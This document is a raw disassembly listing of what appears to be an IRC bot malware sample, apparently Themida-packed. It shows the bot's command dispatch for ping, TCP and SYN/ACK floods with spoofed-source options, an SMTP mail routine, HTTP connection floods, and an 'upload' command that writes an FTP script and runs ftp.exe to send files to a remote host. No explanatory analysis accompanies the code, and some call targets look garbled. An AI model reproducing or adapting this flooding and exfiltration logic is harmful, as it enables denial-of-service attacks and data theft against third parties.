jz loc_40714F
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D16
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42D0F0 ; " "
push offset dword_42BBBC
push [ebp+esi+var_7C]
call sub_417EEE
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CB594
lea eax, [ebp+var_47EC]
push eax
call dword_4CB6A8
push 6
push 1
push 2
mov edi, eax
call dword_4CB6A4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB624
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB5CC
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB63C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CB674
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB63C
push esi
call dword_4CB6BC
call dword_4CB57C
lea eax, [ebp+var_4588]
push eax
push offset unk_42B09C
loc_406CCF: ; CODE XREF: sub_401ACD+2E82j
; sub_401ACD+4666j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDB: ; CODE XREF: sub_401ACD+248Bj
add esp, 0Ch
loc_406CDE: ; CODE XREF: sub_401ACD+4584j
; sub_401ACD+6653j ...
cmp [ebp+var_8], ebx
jnz short loc_406CFF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_406CFF: ; CODE XREF: sub_401ACD+29B2j
; sub_401ACD+2A05j ...
mov esi, [ebp+arg_24]
loc_406D02: ; CODE XREF: sub_401ACD+68F2j
; sub_401ACD+78E2j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_401ACD+50ACj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D40
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E8
loc_406D40: ; CODE XREF: sub_401ACD+525Aj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DB
jmp loc_4040AA
; ---------------------------------------------------------------------------
loc_406D6E: ; CODE XREF: sub_401ACD+507Ej
; sub_401ACD+5095j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
push offset unk_42B054
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_406DD3: ; CODE XREF: sub_401ACD+52CCj
; sub_401ACD+52E3j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406EFF
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E70
mov eax, offset aNormal ; "Normal"
loc_406E70: ; CODE XREF: sub_401ACD+539Cj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42B010
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset byte_413E35
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_406EEE
loc_406ED8: ; CODE XREF: sub_401ACD+541Fj
cmp [ebp+var_123C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_406ED8
; ---------------------------------------------------------------------------
loc_406EEE: ; CODE XREF: sub_401ACD+5409j
nop
call near ptr 2830047h
push eax
push offset unk_42AFD8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_406EFF: ; CODE XREF: sub_401ACD+5317j
push offset unk_42AFA0
loc_406F04: ; CODE XREF: sub_401ACD+2018j
; sub_401ACD+202Ej ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_406F17: ; CODE XREF: sub_401ACD+5039j
; sub_401ACD+5050j ...
cmp dword_4CB714, ebx
jnz loc_407026
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42AF58
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset dword_413284
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407015
loc_406FFF: ; CODE XREF: sub_401ACD+5546j
cmp [ebp+var_FF0], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_406FFF
; ---------------------------------------------------------------------------
loc_407015: ; CODE XREF: sub_401ACD+5530j
call near ptr 2830047h
nop
push eax
push offset unk_42AF20
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_407026: ; CODE XREF: sub_401ACD+5450j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408288
; ---------------------------------------------------------------------------
loc_407041: ; CODE XREF: sub_401ACD+500Bj
; sub_401ACD+5022j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42AECC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713B
loc_4070C4: ; CODE XREF: sub_401ACD+561Bj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A4
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070EC
cmp eax, ebx
jnz short loc_40710B
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C4
jmp short loc_407144
; ---------------------------------------------------------------------------
loc_4070EC: ; CODE XREF: sub_401ACD+560Cj
push ebx
push [ebp+var_4]
push offset unk_42AE94
loc_4070F5: ; CODE XREF: sub_401ACD+5680j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4072E8
; ---------------------------------------------------------------------------
loc_40710B: ; CODE XREF: sub_401ACD+5610j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42AE60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_40713B: ; CODE XREF: sub_401ACD+55F5j
cmp [ebp+arg_1C], ebx
jnz loc_4072E8
loc_407144: ; CODE XREF: sub_401ACD+561Dj
push ebx
push [ebp+var_4]
push offset unk_42AE2C
jmp short loc_4070F5
; ---------------------------------------------------------------------------
loc_40714F: ; CODE XREF: sub_401ACD+4FC6j
; sub_401ACD+4FDDj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B4
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BA
; ---------------------------------------------------------------------------
loc_4071B4: ; CODE XREF: sub_401ACD+56D6j
mov [ebp+var_C70], ebx
loc_4071BA: ; CODE XREF: sub_401ACD+56E5j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42ADE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset dword_413410
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40725D
loc_40724B: ; CODE XREF: sub_401ACD+578Ej
cmp [ebp+var_C60], ebx
jnz short loc_407278
push 32h
call near ptr 2820566h
nop
jmp short loc_40724B
; ---------------------------------------------------------------------------
loc_40725D: ; CODE XREF: sub_401ACD+577Cj
call near ptr 2830047h
nop
push eax
push offset unk_42ADAC
loc_407269: ; CODE XREF: sub_401ACD+4E31j
; sub_401ACD+62BEj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407278: ; CODE XREF: sub_401ACD+4E15j
; sub_401ACD+5784j ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push [ebp+var_4]
loc_407285: ; CODE XREF: sub_401ACD+22DEj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A8
; ---------------------------------------------------------------------------
loc_407298: ; CODE XREF: sub_401ACD+4F98j
; sub_401ACD+4FAFj
push 0Bh
call sub_40B33E
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407454
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42AD6C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_4072E8: ; CODE XREF: sub_401ACD+526Dj
; sub_401ACD+5639j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
push 4
push esi
call sub_416908
pop ecx
test eax, eax
pop ecx
jnz short loc_407324
push esi
push offset unk_42AD44
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_407324: ; CODE XREF: sub_401ACD+584Aj
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB590
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F3
push offset unk_42ACD4
jmp short loc_4073F8
; ---------------------------------------------------------------------------
loc_4073F3: ; CODE XREF: sub_401ACD+591Dj
push offset unk_42ACA4
loc_4073F8: ; CODE XREF: sub_401ACD+5924j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407421
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_407421: ; CODE XREF: sub_401ACD+5936j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_40742D: ; CODE XREF: sub_401ACD+5985j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416908
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407454: ; CODE XREF: sub_401ACD+57E5j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748D
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748D: ; CODE XREF: sub_401ACD+59B5j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749A
mov [ebp+var_36C], ecx
loc_40749A: ; CODE XREF: sub_401ACD+59C5j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BC
mov [ebp+var_368], eax
loc_4074BC: ; CODE XREF: sub_401ACD+59E7j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431AC8, ebx
mov [ebp+arg_20], ebx
jz short loc_40750B
mov edi, offset dword_431AC8
loc_4074D3: ; CODE XREF: sub_401ACD+5A20j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F1
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D3
jmp short loc_40750B
; ---------------------------------------------------------------------------
loc_4074F1: ; CODE XREF: sub_401ACD+5A16j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431AC8[ecx]
mov [ebp+var_370], ecx
loc_40750B: ; CODE XREF: sub_401ACD+59FFj
; sub_401ACD+5A22j
cmp [ebp+var_370], ebx
jnz short loc_40751D
push offset unk_42AC70
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40751D: ; CODE XREF: sub_401ACD+5A44j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407558
cmp byte ptr [edi], 23h
jz short loc_407558
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407632
; ---------------------------------------------------------------------------
loc_407558: ; CODE XREF: sub_401ACD+5A59j
; sub_401ACD+5A5Ej
cmp [ebp+var_8FF], bl
jnz short loc_40757A
cmp [ebp+var_8FE], bl
jnz short loc_40757A
cmp [ebp+var_8EE], bl
jnz short loc_40757A
push offset unk_42AC3C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40757A: ; CODE XREF: sub_401ACD+5A91j
; sub_401ACD+5A99j ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB5C8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB6B0
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762C
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407620
loc_4075FE: ; CODE XREF: sub_401ACD+5B51j
cmp eax, ebx
jz short loc_407620
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FE
loc_407620: ; CODE XREF: sub_401ACD+5B2Fj
; sub_401ACD+5B33j
mov [ebp+var_344], 1
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_40762C: ; CODE XREF: sub_401ACD+5B09j
mov [ebp+var_344], ebx
loc_407632: ; CODE XREF: sub_401ACD+5A86j
; sub_401ACD+5B5Dj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407683
loc_407670: ; CODE XREF: sub_401ACD+5BD9j
push esi
loc_407671: ; CODE XREF: sub_401ACD+5BC3j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AE
; ---------------------------------------------------------------------------
loc_407683: ; CODE XREF: sub_401ACD+5BA1j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407692
cmp byte ptr [eax], 23h
jnz short loc_407692
push eax
jmp short loc_407671
; ---------------------------------------------------------------------------
loc_407692: ; CODE XREF: sub_401ACD+5BBBj
; sub_401ACD+5BC0j
mov esi, offset aF ; "#f"
push offset dword_43D7D8
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407670
mov [ebp+var_3F4], bl
loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C0
mov eax, offset aSequential ; "Sequential"
loc_4076C0: ; CODE XREF: sub_401ACD+5BECj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42ABD4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40774E
loc_407738: ; CODE XREF: sub_401ACD+5C7Fj
cmp [ebp+var_340], ebx
jnz loc_40828B
push 32h
call near ptr 2820566h
nop
jmp short loc_407738
; ---------------------------------------------------------------------------
loc_40774E: ; CODE XREF: sub_401ACD+5C69j
nop
call near ptr 2830047h
push eax
push offset unk_42AB9C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj
; sub_401ACD+4F81j
push [ebp+arg_10]
call sub_40AAF9
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB6B0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AB4C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40C759
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407854
loc_40783E: ; CODE XREF: sub_401ACD+5D85j
cmp [ebp+var_4D0], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2820566h
jmp short loc_40783E
; ---------------------------------------------------------------------------
loc_407854: ; CODE XREF: sub_401ACD+5D6Fj
nop
call near ptr 2830047h
push eax
push offset unk_42AB10
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407865: ; CODE XREF: sub_401ACD+4F2Dj
; sub_401ACD+4F44j
push [ebp+arg_10]
loc_407868: ; DATA XREF: Themida_:005546EDo
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E578[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42AB04
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E360[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E578
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A35
; ---------------------------------------------------------------------------
loc_40795D: ; CODE XREF: sub_401ACD+4EFFj
; sub_401ACD+4F16j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E578[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E360[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E578
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_407A62: ; CODE XREF: sub_401ACD+4ED1j
; sub_401ACD+4EE8j
push [ebp+arg_10]
call dword_4CB664
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB6B0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AAA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C668
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407B44
loc_407B2E: ; CODE XREF: sub_401ACD+6075j
cmp [ebp+var_670], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2820566h
jmp short loc_407B2E
; ---------------------------------------------------------------------------
